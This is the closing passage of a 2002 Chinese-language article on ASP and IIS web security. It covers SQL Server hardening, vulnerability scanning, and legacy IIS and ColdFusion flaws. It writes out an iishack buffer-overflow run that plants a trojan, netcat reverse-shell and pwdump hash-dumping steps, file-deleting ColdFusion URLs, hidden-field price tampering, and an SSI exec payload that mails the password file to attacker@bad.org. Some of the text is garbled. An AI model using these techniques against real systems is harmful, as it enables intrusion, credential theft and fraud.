Do While not ts.AtEndOfStream
keyFile = keyFile & ts.ReadLine
Loop
ReadKeyFromFile = ke le
End Function
%>
在Crypt.asp中我们首先从密钥文件中得到密钥值,然后从这段密钥中截取和我们需要加密的明文同样长度的密钥。然后使用一个简单的异或操作将明文和密钥进行运算,那么得到的结果就是加密后的密文了。过程很简单的。由于是使用了异或操作,所以解密将非常简单,只要使用同样的密钥对密文再次进行异或操作就能够解密了。
在上面介绍的基础上,你可以少加改动,就可以使用同样的方法加密一个文件。唯一需要注意的是,对于一个二进制文件,你需要做一些完整性检查以保证转换回来的字符不要越界。
现在你需要做的就是把密钥保存在服务器上的一个安全的地方(不能够被外部访问)
15 SQL SERVER的安全性
目前用ASP编写的WEB应用中,后台数据库大部分SQL SERVER。SQL SERVER相对来说比较安全。但是也要小心地配置SQL Server.
1 安装远程数据库管理有风险
SQL Server支持从远程进行数据库的维护。在安装时你可以选择不安装,安装完成以后,你还可以通过"SQL Server Network Utility"来删除远程管理。如果你要使用远程管理,请使用TCP/IP,并将缺省的端口1433改变为其他的数值。使用远程对你可能比较方便,便是请注意一个hacker只要知道你的SQL server密码,就可以进入你的数据库。
2 改变sa的密码。
缺省安装时,SQL SERVER的sa账号的密码为空,建议你在Enterprise SERVER中,改变sa的密码。
3 数据库登录账号不要写入ASP页面中。
16 使用最新的扫描器扫描ASP漏洞
目前可以扫描IIS漏洞的扫描器有很多,比较有名的有ISS,CIS和gnit等。下面我们以GNIT为例子。
GNIT是个功能很强的漏洞扫描器,能扫描NT的用户名和相关信息列表,扫描IIS的漏洞。在WINNT的DOS模式下打下:
gnit <对方IP>
比如:gnit 172.1.1.1
GNIT开始扫描端口,从上图可知目标主机提供了HTTP,FTP,SMTP等服务,扫描完后。会在GNIT目录下生成一个HTML文件,其文件名是目标主机的IP。打开这个HTML文件,会看到对方主机的一些信息和漏洞。这些信息和漏洞包括:用户名和组的相关详细信息,开放的服务和WEB扫描的漏洞等。我们比较关心的是WEB扫描的漏洞信息:
下图是GNIT的WEB扫描一些信息,其中加粗部分是漏洞,当然有些漏洞并不准确,但不妨试试。(有必要说明下,以下我是在一台NT4。01,IIS4。0,Option PACK6.0,并且缺省安装)要测试这些漏洞很简单。比如:可在URL输入:
  http://someurl/iisadmpwd/aexp3.htr
----可远程管理IIS。
  http://someurl/scripts/iisadmin/bdir.htr
----目标主机的硬盘全部目录都一览无余,并且有创建新目录的功能(不过我在测试中,并不能创建远程目录,但是能使目标主机的WEB当机)
  http://someurl/scripts/tools/getdrvrs.exe
---可在远程主机上创建ODBC数据库,不管数据库路径和数据库是否存在。
此外还有其它的漏洞,请网友自己测 F浣饩龇椒ㄇ肟瓷厦娴穆┒捶治觥?br> 如果用CIS扫描器,还有比较详细的漏洞分析和解决方法。请读者自己分析。
七、总结
目前WEB数据库访问的多种技术中,比如CGI(通用网关接口)、JDBC、PHP、ASP,ASP以其开发周期短,存取方式数据库简单,运行速度快而成为众多网站程序员的首选开发技术。
但是其网络安全性也是不容忽视的。做为一个ASP开发者,你必须关注NT和IIS的安全漏洞,从上面的讨论我们可以看到ASP的很多漏洞都是由IIS所引起的。同时ASP程序员在开发自己的网站时,要注意来自ASP程序设计不当所引发的安全问题。
八:声明:其中某些例子是从其它网站上整理的,因时间紧迫,未来得及通知作者,请见谅。
最后我们讨论一下Cold Fusion脆弱点:同样是L0pht发布了Allaire的产品Cold Fusion Application Server中存在多个严重的脆弱点。该产品安装时会拷贝例子代码和在线文档到系统中。问题出在其中的多个例子代码文档,因为他们没有把自己的交互活动仅仅局限于本地主机。
第一个脆弱点存在于openfile.cfm文件中,它允许攻击者往目标WEB服务器上传任意文件。为发掘这个脆弱点,把浏览器指向以下URL后,遵照所显示网页上给出的具体步骤行动:
http://www.company.com/cfdocs/expeval/openfile.cfm
第二个脆弱点存在于displayopenfile.cfm文件中,他允许攻击者接着保存所上传的文件。第三个脆弱点存在于exprcalc.cfm文件中,他允许攻击者查看并删除目标系统上的任意文件。举例来说,使用以下URL可以删除setup.log文件:
http://www.company.com/cfdocs/expeval/ExprCalc.cfm?OpenFilePath=C:\winnt\repair\setup.log
28、 缓冲区溢出:Microsoft IIS4.0脆弱点是1999年6月公开的,29、 它对于Microsoft的WEB服30、 务器软件可以说是致命的。这个脆弱点由eEye安全小组发现,31、 他的漏洞发掘代码和可执行文件也由该小组公布在网上。该脆弱点是对URL中的.HTR、.STM和.IDC、.IDQ等名32、 字缺乏边界检查上,33、 从而34、 允许攻击者插入一些邪恶的代码,35、 以此作为Administrator用户在Microsoft系统的WEB服36、 务器上远程地下载并执行任意的命令。
称为iishack的相应漏洞发掘程序可从很多站点找到。该程序通过与URL一道发送待执行的特洛伊木马程序的文件名工作:
C:\nt\iishack>iishack 10.12.24.2 80 172.29.11.101 /getem.exe
--------(IIS 4.0 remote buffer overflow exploit)---------------
(c) dark spyrit -barns@eeye.com.
http://www.eEye.com
[usage:iishack<host><post><url>]
eg-iishack www.example.com 80 www.myserver.com /thetrojan.exe
do not include ‘http://’ before hosts!
---------------------------------------------
Data sent!
其中称为getem.ex的特洛伊木马程序是我们编写的,它解包出pwdump.exe(NT上SAM的转储程序)后,运行一个做了手脚的netcat版本,让他在25号端口上监听并返回一个提供命令提示的shell。一旦使用iishack成功的远程运行getem.exe,我们就可以在本地运行一个netcat命令以得到所返送回的命令提示符,从而作为SYSTEM帐号,取得目标服务器的访问权。
C:\nt\iishack>nc -nvv 10.12.14.2 25
成功后就:
C:\>nc -nvv 10.11.1.1 26
(UNKNOWN)[10.11.1.1]26(?)open
Microsoft(R) Windows NT(TM)
(C)Copyright 1985-1996 Microsoft Corp.
C:\WINNT\>pwdump
将会得到一串密码散列值,再将这些散列值拷贝和粘贴,再借助LC3工具破解,可能很轻松的得到用户名和密码。
37、 WEB设计缺陷:
&#61548; 误用隐藏标&#61548; 记:有的购物网站经常在HTML标&#61548; 记中隐藏的标&#61548; 记各种物品的价格,&#61548; 然而&#61548; 一旦攻击者发现这个漏洞,&#61548; 他就可以成倍&#61548; 的降低它。举例来说,&#61548; 假如某个网站在他们的购物网页中有如下HTML代码:
<FORM ACTION=http://www.company.com/cgi-bin/order.pl method=”post”>
<input type=hidden name=”price” value=”199.99”>
<input type=hidden name=”prd_id” value=”X190”>
数量:<input type=text name=”quant” size=3 maxlength=3 value=1>
</FORM>
相信大家都知道可以利用文本编辑器打开这个文档,同时我们也就可以在本地修改文档成:
<input type=hidden name=”price” value=”1.99”>
这样,我们就可以在本地打开这个网页,然后填表,提交。服务器得到的是降低了100倍的收费,而你却依然能得到同样的商品!
&#61548; 服&#61548; 务端包含(SSI):服&#61548; 务端包含(Server Side Include,&#61548; 简称SSI)提供了一个无需编程实现实时交互功能的机制。SSI有许多称为标&#61548; 记(tag)的特性可用,&#61548; 包括echo、include、fsize、flastmod、exec、config、odbc、email、if、goto、label和break。对攻击者来说,&#61548; 最有用的只是exec和email标&#61548; 记。
通过向将由目标服务器进程作为一个HTML文档求解的栏目插入SSI代码,攻击者就能在该服务器上执行命令,从而取得该服务器的访问权。举例来说,在通过WEB创建新帐号时,把SSI代码输入到名或姓栏目中,目标WEB服务器进程可能会求解该输入并尝试运行它。下面的SSI讲把该系统的密码文件邮寄给攻击者:
<!--#exec cmd=”/bin/mail attacker@bad.org<cat /ect/passwd>”à
注意:SSI代码不能存为HTML格式,可以存为SHTML或者ASP等格式。
《正文完》
尾注:本文初步完成,由于附录太大,暂时还不能放上来。
本文历时1420分钟,字数101000字
本文写作途中得到了各位朋友支持,谢谢小榕论坛的朋友。
转载请保持文章的完整性,谢谢。
雾中鸟
2002年3月8日于中国西安
参考文献:
《Hacking Exposed:Network Security Secrets and Solutions》——Stuart McClue、Joel Scambray、George Kurtz
《Hacker Proof:The Ultimate Guide to Network Security》——Lars Klander
《黑客防线(Hacker Defence)》
《挑战黑客》——李洪、钱江

主目录 分目录

Copyright By「黑白网络工作室」2002 All Rights Reserve